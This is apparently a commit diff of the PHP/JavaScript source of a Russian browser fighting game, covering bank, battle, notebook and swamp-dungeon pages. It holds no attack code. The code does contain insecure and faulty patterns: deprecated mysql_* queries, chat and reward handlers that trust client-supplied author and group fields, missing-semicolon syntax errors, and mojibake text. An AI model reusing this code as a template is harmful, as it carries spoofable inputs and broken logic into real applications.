<a href="#" onClick="javascript:if (confirm('Вы уверены?')){ location.href='bank.php?dropsh=1';}">Сбросить образ персонажа за 1 екр.</a><br>
<a href="#" onclick="javascript:if (confirm('Вы уверены?')){ location.href='bank.php?setsklneytr=1';}">Получить нейтральную склонность за 50 екр.</a><br>
<a href="#" onclick="javascript:if (confirm('Вы уверены?')){ location.href='bank.php?setskltemn=1';}">Получить темную склонность за 50 екр.</a><br>
<a href="#" onclick="javascript:if (confirm('Вы уверены?')){ location.href='bank.php?setsvet=1';}">Получить светлую склонность за 50 екр.</a><br>
<a href="#" onclick="javascript:if (confirm('Вы уверены?')){ location.href='bank.php?unset_align=1';}">Сбросить склонность за 5 екр.</a><br>
Я бы их отсюда вырезал…
</small>
</div>
<?php endif;
} # Очень важная и гордая кавычка!
?>
</body>
</html>

10
bankekr.php Normal file
View File

@ -0,0 +1,10 @@
<!DOCTYPE html>
<html>
<head>
<title>Банк</title>
<meta charset="utf-8">
</head>
<body>
Не работает!
</body>
</html>

275
battle.php Normal file
View File

@ -0,0 +1,275 @@
<html>
<head>
<title>Бойцовский Клуб</title>
<meta content="бойцовский, клуб, oldbbk, игра, online" http-equiv="keywords" name="keywords">
<meta content="Бойцовский Клуб oldbbk" http-equiv=description name="description">
<meta content="text/html; charset=utf-8" http-equiv="content-type">
<script>
top.server="http://goldpaladin.ru";
function get_mainframe() {return top.frames['main']; }
function get_maindoc() { return this.document; }
var main_uid= 'main';</script>
<script language=javascript>
//<!--
var CtrlPress = false;
var SoundOff = true;
var VolumeControl=25;
var chScroll = true;
function soundD(){
if (top.frames['bottom'].document.getElementById('soundM').innerHTML=='' && SoundOff==false){
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
musicTag='<object id="flashsound" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="1" height="1"><param name="movie" value="sound/Sound.swf?LevelVolume='+VolumeControl+'" /><param name="quality" value="high" /></object>';
}
else {
musicTag='<embed name="flashsound" src="sound/Sound.swf?LevelVolume='+VolumeControl+'" quality="best" width="1" height="1" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
}
top.frames['bottom'].document.getElementById('soundM').innerHTML=musicTag;
}
}
function AddTo(login){
if (CtrlPress){
login=login.replace('%', '%25');
while(login.indexOf('+')>=0) login=login.replace('+', '%2B');
while(login.indexOf('#')>=0) login=login.replace('#', '%23');
while(login.indexOf('?')>=0) login=login.replace('?', '%3F');
window.open('inf.php?login='+login, '_blank')
}
else {
var o=top.frames['main'].Hint3Name;
if ((o != null)&&(o != "")) {
top.frames['main'].document.all(o).value=login;
top.frames['main'].document.all(o).focus();
} else {
top.frames['bottom'].window.document.F1.text.focus();
top.frames['bottom'].document.forms[0].text.value='to ['+login+'] '+top.frames['bottom'].document.forms[0].text.value;
}
}
}
function AddToPrivate(login, nolookCtrl){
if (CtrlPress && !nolookCtrl) {
login=login.replace('%', '%25');
while (login.indexOf('+')>=0) login=login.replace('+', '%2B');
while (login.indexOf('#')>=0) login=login.replace('#', '%23');
while (login.indexOf('?')>=0) login=login.replace('?', '%3F');
window.open('inf.php?login='+login, '_blank')
} else {
top.frames['bottom'].window.document.F1.text.focus();
top.frames['bottom'].document.forms[0].text.value='private ['+login+'] ' + top.frames['bottom'].document.forms[0].text.value;
}
}
function setCookie(name, value) {document.cookie=name+"="+escape(value)+"; path=/";}
function getCookie(Name) {
var search=Name + "="
if (document.cookie.length > 0){
offset=document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end=document.cookie.indexOf(";", offset)
if (end == -1) end=document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}}
var rnd=Math.random();
//-- Смена хитпоинтов
var delay = 3; // Каждые n увеличение HP на 1%
var Mdelay = 12;
var redHP = 0.33; // меньше 30% красный цвет
var yellowHP = 0.66; // меньше 60% желтый цвет, иначе зеленый
var TimerOn = -1; // id таймера
var tkHP, maxHP;
function setHP(value, max) {
tkHP=value; maxHP=max;
if (TimerOn>=0) { clearTimeout(TimerOn); TimerOn=-1; }
setHPlocal();
}
function p(text, type) {
top.frames['chat'].p(text,type);
}
function show_new(id) {
top.frames['chat'].document.getElementById(''+id+'').style.color = "Red";
}
function setHPlocal() {
if (tkHP>maxHP) { tkHP=maxHP; }
var sz1 = Math.round((149/maxHP)*tkHP);
var sz2 = 150 - sz1;
if (top.frames['main'].document.getElementById('HP')) {
top.frames['main'].document.HP1.width=sz1;
top.frames['main'].document.HP2.width=sz2;
if (tkHP/maxHP < redHP) {
top.frames['main'].document.HP1.src='i/1red.gif';
} else {
if (tkHP/maxHP < yellowHP) {
top.frames['main'].document.HP1.src='i/1yellow.gif';
} else {
top.frames['main'].document.HP1.src='i/1green.gif';
}
}
var s = top.frames['main'].document.all("HP").innerHTML;
top.frames['main'].document.all("HP").innerHTML = s.substring(0, s.lastIndexOf(':')+1) + Math.round(tkHP)+"/"+maxHP;
}
tkHP = (tkHP+(maxHP/100));
if (tkHP<maxHP) {
TimerOn=setTimeout('setHPlocal()', delay*1000);
} else {
TimerOn=-1;
}
}
//-- Обновление чата
var ChatTimerID=-1; // id таймера для чата
var ChatDelay=15; // через сколько сек. рефрешить чат
var ChatNormDelay=15; // через сколько сек. рефрешить чат при нормальном обновлении
var ChatSlowDelay=60; // через сколько сек. рефрешить чат при медленном обновлении
var ChatOm=false; // фильтр сообщений в чате
var ChatSys=false; // фильтр системных сообщений в чате
var ChatSlow=false; // обновление чата раз в минуту
var ChatTranslit=false; // преобразование транслита
var lid=0; // номер последнего сообщения в чате
function RefreshChat(){
var s='&lid='+lid;
if (ChatOm) { s=s+'&om=1'; }
if (ChatSys) { s=s+'&sys=1'; }
if (ChatTimerID>=0) { clearTimeout(ChatTimerID); }
ChatTimerID=setTimeout('RefreshChat()', ChatDelay*1000);
top.frames['refreshed'].location='ch.php?show='+Math.random()+s;
}
// останавливает обновление чата
function StopRefreshChat(){
if(ChatTimerID>=0){clearTimeout(ChatTimerID); }
ChatTimerID=-1;
}
// сбрасывает таймер счетчика
function NextRefreshChat(){
if (ChatTimerID>=0) {clearTimeout(ChatTimerID); }
ChatTimerID=setTimeout('RefreshChat()', ChatDelay*1000);
}
// Прокрутка текста чата вниз
function srld(){
if(chScroll == true){
top.frames['chat'].window.scrollBy(0, 65000);
}
}
// Установка lid
function slid(newlid){
var o=top.frames['bottom'].F1;
if (o) {lid=newlid;o.lid.value=newlid;}
}
// Перезагружаем список online, делаем это не сразу, а с паузой
var OnlineDelay=12; // пауза в сек. перед релоудом списка online
var OnlineTimerOn=-1; // id таймера
var OnlineOldPosition=0; // Позиция списка перед релоудом
var OnlineStop=true; // ручное обновление чата
function rld(now) {
if (OnlineTimerOn < 0 || now) {
var tm=now ? 2000 : OnlineDelay*1000;
OnlineTimerOn=setTimeout('onlineReload('+now+')', tm);
}
}
function onlineReload(now) {
if (OnlineTimerOn >= 0) clearTimeout(OnlineTimerOn);
OnlineTimerOn=-1;
if (! OnlineStop || now) {
top.frames['online'].location='ch.php?online='+Math.round(Math.random()*100000);
//top.frames['online'].navigate('ch.php?online='+Math.round(Math.random()*100000));
}
rld();
}
var changeroom=1;
var localroom=1;
setInterval(function (){
if (localroom!=changeroom){
localroom=changeroom;
top.frames['online'].location='ch.php?online='+Math.round(Math.random()*100000);
}
}, 5000);
//-- Очистка чата
var ChatClearTimerID=-1; // id таймера для чата
var ChatClearDelay=900; // через сколько сек. чистим чат
var ChatClearSize=10000; // Сколько байт оставляем после чистки
function RefreshClearChat(){
if (ChatClearTimerID>=0) { clearTimeout(ChatClearTimerID); }
ChatClearTimerID=setTimeout('RefreshClearChat()', ChatClearDelay*1000);
var s=top.frames['chat'].document.all("mes").innerHTML;
var s2=top.frames['chat'].document.all("mes_sys").innerHTML;
if (s.length > ChatClearSize) { // Надо чистить чат
var j=s.lastIndexOf('<BR>', s.length-ChatClearSize);
top.frames['chat'].document.all("mes").innerHTML=s.substring(j, s.length);
}
if (s2.length > ChatClearSize) { // Надо чистить системные
var j2=s2.lastIndexOf('<BR>', s2.length-ChatClearSize);
top.frames['chat'].document.all("mes_sys").innerHTML=s2.substring(j2, s2.length);
}
}
//-- Прочие функции
var oldlocation='';
function cht(nm){
if (oldlocation == '') {
oldlocation=top.frames['main'].location.href;
var i=oldlocation.indexOf('?', 0);
if (i>0) { oldlocation=oldlocation.substring(0, i) }
}
//top.frames['main'].navigate(nm);
top.frames['main'].location=nm;
}
function returned(){
if (oldlocation != '') { top.frames['main'].location=oldlocation+'?tmp='+Math.random(); oldlocation=''; }
else { top.frames['main'].location='main.php?edit='+Math.random() }
}
function myscroll(){
OnlineOldPosition=top.frames['online'].document.body.scrollTop;
}
function CLR1(){
top.frames["bottom"].document.F1.text.value='';
top.frames["bottom"].document.F1.text.focus();
}
function CLR2(){
top.frames['chat'].document.all("mes").innerHTML='';
top.frames['chat'].document.all("oMenu").style.top="0px";
}
function strt(){// Начинаем
ChatTimerID=setTimeout('RefreshChat()', 1000);
OnlineTimerOn=setTimeout('onlineReload(true)', 2*1000);
ChatClearTimerID=setTimeout('RefreshClearChat()', ChatClearDelay*1000);
}
var user=getCookie("battle");
if ((user == null)||(user == "")) {
document.write('<body>Внимание! РС РёР»Рё РЅРµ ввели ваш логин/пароль РЅР° титульной странице или РІ вашем браузере отключена поддержка Cookie. Необходимо РёС… включить (это абсолютно безопасно!) для продолжения РёРіСЂС‹.<BR>');
document.write('Рменю браузера Internet Explorer выберите "Сервис" => "Свойства обозревателя" перейдите РЅР° закладку "Конфиденциальность" Рё передвиньте ползунок РІ положение "Средний". И попробуйте СЃРЅРѕРІР° зайти СЃ <A HREF="/">титульной страницы</A>.<BR>Рбраузере IE версии 5 меню: "Сервис" => "Свойства обозревателя" => "Безопасность" => "Интернет" РєРЅРѕРїРєР° "Другой" => файлы "cookie"<BR>Если Сѓ вас IE 4-Р№ версии, возможно вам РЅРµ удастся зайти, СЃ проблемой этой версии браузера РјС СЂР°Р±РѕС‚Р°РµРј, РЅРѕ РїРѕРєР° единственным решением является: обновление браузера РґРѕ 5-Р№ или 6-Р№ версии.<BR>Если ничего РЅРµ помогает, проверьте настройки вашего FireWall, если РѕРЅ установлен, СРѕ может РЅРµ пропускать активные страницы Рё cookie.</BODY>');
}
else {
//if (document.all && document.all.item && !window.opera && !document.layers) {
document.write(
'<frameset rows="37, *, 30, 5" frameborder="0" border="0" framespacing="0">'+
'<frame src="top.html" target="_top" scrolling="no" noresize="noresize" frameborder="0" border="0" framespacing="0" marginwidth="0" marginheight="7"></frame>'+
'<frameset cols="9, *, 9" frameborder="0" border="0" framespacing="0">'+
'<frame src="left.html" target="_top" scrolling="no" noresize="noresize" frameborder="0" border="0" framespacing="0" marginwidth="0" marginheight="0"></frame>'+
'<frameset rows="72%, *, 0" frameborder="1" border="3" framespacing="1" bordercolor="gray">'+
'<frame name="main" src="main.php?top='+rnd+'" style="border-bottom-width: 2px; border-bottom-style:solid; border-bottom-color:#B0B0B0"></frame>'+
'<frameset cols="*,220" border="3" frameborder="1">'+
'<frame name="chat" src="buttons.php?ch='+rnd+'" target="_top" scrolling="yes" framespacing="0" marginwidth="3" marginheight="3"></frame>'+
'<frame name="online" src="ch.php?online='+rnd+'" target="_blank" scrolling="yes" framespacing="0" marginwidth="3" marginheight="0"></frame>'+
'</frameset>'+
'<frame name="refreshed" target="_top" scrolling="no" noresize="noresize" src="refreshed.html"></frame>'+
'</frameset>'+
'<frame src="right.html" target="_top" scrolling="no" noresize="noresize" frameborder="0" border="0" framespacing="0" marginwidth="0" marginheight="0"></frame>'+
'</frameset>'+
'<frame name="bottom" scrolling="no" noresize="noresize" src="buttons.php?'+rnd+'"></frame>'+
'<frame src="bottom.html" target="_top" scrolling="no" noresize="noresize" frameborder="0" border="0" framespacing="0" marginwidth="0" marginheight="0"></frame>'+
'</frameset>');
/*} else { alert("You must use Internet Explorer 4.0 or higher"); history.back(-1);
}*/
//rld();
}
//-->
</script><noscript><span style="color:#ff0000">Внимание!</span> Рвашем браузере отключена поддержка JavaScript. Необходимо их включить (это абсолютно безопасно!) для продолжения игры.<br />Рменю браузера Internet Explorer выберите "Сервис" => "Свойства обозревателя" перейдите на закладку "Безопасность". Для зоны <b>Интернет</b> нажмите кнопку "Другой". Установите уровень безопасности "Средний", этого достаточно. Или же, в списке параметров найдите раздел "Сценарии" и там нужно разрешить выполнение Активных сценариев.<br /><span style="color:#ff0000">Attention!</span> Your browser does not support JavaScript. To continue the game, please turn the support on (it's absolutely safe).<br />In the Internet Explorer browser menu choose "Tools" => "Internet Options" and go to "Security". For the <b>Internet</b> zone press the "Custom level" button. State the "Medium", this will be enough. You can also find the "Scripting" page in the list of the parameters and allow Active Scripting there.</noscript></body></html>

45
bench.php Normal file

File diff suppressed because one or more lines are too long

28
bench_m.php Normal file
View File

@ -0,0 +1,28 @@
<HTML>
<HEAD>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
<script type="text/javascript" src="/i/globaljs.js"></script>
<script>
function returned2(s){
location.href='city.php?'+s+'tmp='+Math.random();
}
</script>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#E5E1E2>
<div style='color:#8F0000; font-weight:bold; font-size:16px; text-align:center; float:center;'>Скамейка</div>
<div style='float:right; padding-right:6px;'>
<form>
<INPUT TYPE=button value="Вернуться" onClick="returned2('bps=1&');">
</form>
</div>
<div style='clear:both;'></div>
<br>
<b><i>Если вы устали от шума боев и суеты центральных улиц, вы можете отдохнуть на скамейке под тенью <br/>парковых деревьев...<br></b></i><br><br>
Здесь можно, уединившись, подумать о вечном, назначить романтическое свидание или просто спокойно поболтать.
<br/>Если только местные хулиганы не помешают вам...
</BODY>
</HTML>

45
bench_s.php Normal file

File diff suppressed because one or more lines are too long

71
blocknote.php Normal file
View File

@ -0,0 +1,71 @@
<?php
ini_set('display_errors', 'Off');
header("Content-Type: text/html; charset=utf-8");
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT `blocknote` FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
$uss = mysql_fetch_array(mysql_query("SELECT `date_out` FROM `hellround_pohod` WHERE `owner` = '{$_SESSION['uid']}' ORDER BY id DESC LIMIT 1;"));
include "functions.php";
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
#echo '<strong>Возможности</strong><BR/><BR/> ';
#echo 'Вход в Излом Хаоса - ';
if(time()-259200 > strtotime($uss['date_out'])) {
#echo "<strong>доступен</strong><br/>";
} else {
$timer=strtotime($uss['date_out'])-time()+259200;
echo 'до след. похода ' . $timer . ' сек <br/><br/>';
}
$uss2 = mysql_query("SELECT `id`, `datetime` FROM `turnament` ORDER BY `datetime` DESC LIMIT 1;");
$i=0;
while($val = mysql_fetch_array($uss2)) {
#echo 'Ближайший турнир в БС - ' . strftime('%d %b %Y, %H:%M', $val[++$i]) . '<br/>';
#echo '<br>';
#echo time();
}
?>
<?php
if(isset($_POST['edit'])) {
$text = htmlspecialchars($_POST['text'],ENT_QUOTES, "UTF-8");
mysql_query("UPDATE `users` SET `blocknote` = '{$text}' WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;");
echo("
<script>
function cityg(){
location.href='blocknote.php';
}
setTimeout('cityg()', 1000);
</script>
<center><BR><BR><BR>
<i>Записываем... </i>
</center>
");
}
?>
<HTML><HEAD>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META http-equiv=Expires content=0><LINK href="css/main.css" type=text/css rel=stylesheet>
<META Http-Equiv=Expires Content=0>
</HEAD>
</HEAD>
<BODY bgcolor=e2e0e0>
<br>
<INPUT TYPE=button onclick="location.href='blocknote.php';" value=Обновить>
<p align=right><INPUT TYPE=button value="Вернуться" onclick="location.href='main.php?edit=0.467837356797105';"></p>
<center>
<strong>Блокнот ( 180 слов макс.)</strong>
<form method="POST"><table><tr><td>
<textarea name="text" cols="60" rows="10" maxlength="6144" class="zap"><?=strip_tags($user['blocknote'], '<i><tt><strong><a><img>');?></textarea>
<td><button name="edit" /><img src=./i/pencil.gif alt="Записать" title="Записать"></button>
<td></tr></table>
</form>
</center>
</BODY>
</HTML>

9
blog.log Normal file
View File

@ -0,0 +1,9 @@
:
:
Array:
Array:
0:
0:
0:
0:
0:

867
boloto.php Normal file
View File

@ -0,0 +1,867 @@
<?php
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
include "functions.php";
$now=time();
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".mysql_real_escape_string($_SESSION['uid'])."' LIMIT 1;"));
if($user['room']>=2001 && $user['room']<=2100){
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
$VaultInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($user['room'])."'"));
$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'"));
$bol_res = mysql_fetch_array(mysql_query("SELECT * FROM `vault_res` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'"));
$gayk = mysql_query("select `name` from `inventory` where `name`='Гайка сталкера' AND `owner`='".$user['id']."'");
$kol_gayk = mysql_num_rows($gayk);
if($_GET['ext'] == 1){
if($user['money'] >= 1){
echo"<b>Вы уменьшили время пребывания в проходе на 10мин за 1 кр!</b>";
mysql_query("update `users` set `money`=`money`-'1' where `id`='".$user['id']."'");
mysql_query("update `bol_group` set `game_time`=`game_time`-'600' where `id`='".$user['boloto_groups']."'");
}echo"Недостаточно КР!<br>";
}
/////////ЕСЛИ ВРЕМЯ ВЫШЛО!!
if($group['game_time'] <= $now){
if($group['lider'] == $user['id']){
mysql_query("delete from `inventory` where `name`='Код от тайника' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')");
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')");
}
mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($group['id'])."'");
mysql_query("delete from `bol_chat` where `group_id`='".mysql_real_escape_string($group['id'])."'");
mysql_query("delete from `vault_res` where `id`='".mysql_real_escape_string($group['id'])."'");
//mysql_query("delete from `effects` where `type`='2' AND `owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("update `users` set `anti_boloto`='".mysql_real_escape_string($now)."'+'18000', `room`='47', `boloto_groups`='0', `bol_uron`='0', `bol_zheton`='0', `bol_status`='0', `boloto_room`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("UPDATE `online` SET `room`='47' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
echo"<script>location='wall_build.php'</script>";
}
///SMS в ЧАТ
if ($_POST['addch']){
$text = $_POST['text'];
$autor = $_POST['autor'];
$group = $_POST['group'];
mysql_query("insert into `bol_chat` (`group_id`,`autor`,`text`) VALUES ('".mysql_real_escape_string($group)."','".mysql_real_escape_string($autor)."','".mysql_real_escape_string($text)."')");
echo"<script>location='boloto.php'</script>";
}
///taynik
if ($_POST['t1'] || $_POST['t2'] || $_POST['t3']){
$nomer = $_POST['kakoi'];
if($nomer == 1){$r = 2044}
elseif($nomer == 2){$r = 2056}
elseif($nomer == 3){$r = 2012}
if($user['room'] == $r){
$group1 = $_POST['group'];
$exp = $group['level'] * 600;
if($bol_res[$nomer] == 1){
mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."',`doblest`=`doblest`+'10' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'");
mysql_query("delete from `inventory` where `name`='Код от тайника' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1");
echo"Вы открыли тайник!";
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=blue>Внимание!!!</font> '.$user['login'].' открыл <b>тайник</b>! Все участники группы получили +<b>'.$exp.'</b> опыта; +<b>10</b> доблести!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
echo"<script>location='boloto.php'</script>";
}else{echo"Этот тайник уже открыт!!";}
}else{echo"<b>Не пытайтесь схитрить!</b>";}
}
///syndyk
if ($_POST['s1'] || $_POST['s2'] || $_POST['s3'] || $_POST['s4'] || $_POST['s5']){
$nomer = $_POST['kakoi'];
if($nomer == 1){$r = 2004}
elseif($nomer == 2){$r = 2024}
elseif($nomer == 3){$r = 2031}
elseif($nomer == 4){$r = 2042}
elseif($nomer == 5){$r = 2036}
if($user['room'] == $r){
$group1 = $_POST['group'];
if($bol_res[$nomer] == 1){
$shans = rand(0,10);
if($shans == 0 || $shans == 1 || $shans == 2 || $shans == 3){echo"Сундук оказался пуст!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Сундук оказался пуст!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 4){
$time = rand(60,300);
mysql_query("update `bol_group` set `game_time`=`game_time`+'".mysql_real_escape_string($time)."' where `id`='".mysql_real_escape_string($group1)."'");
echo"Вы обнаружили в сундуке свиток времени, прочитав его вы продлили группе пребывание на болоте +".$time." секунд!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 5){
$kr = rand(1,20);
mysql_query("update `users` set `money`=`money`+'".mysql_real_escape_string($kr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке оказались деньги, все участники группы обагатились на +".$kr." КР!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 6){
$exp = rand(1,3000);
mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +".$exp."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук!! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 7){
$patr = rand(1,2000);
mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($patr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +".$patr."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 8){
$ne4 = rand(1,10);
mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($ne4)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"Что??? Где? Черт возьми, что это было?? Доблесть +".$ne4."!";
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
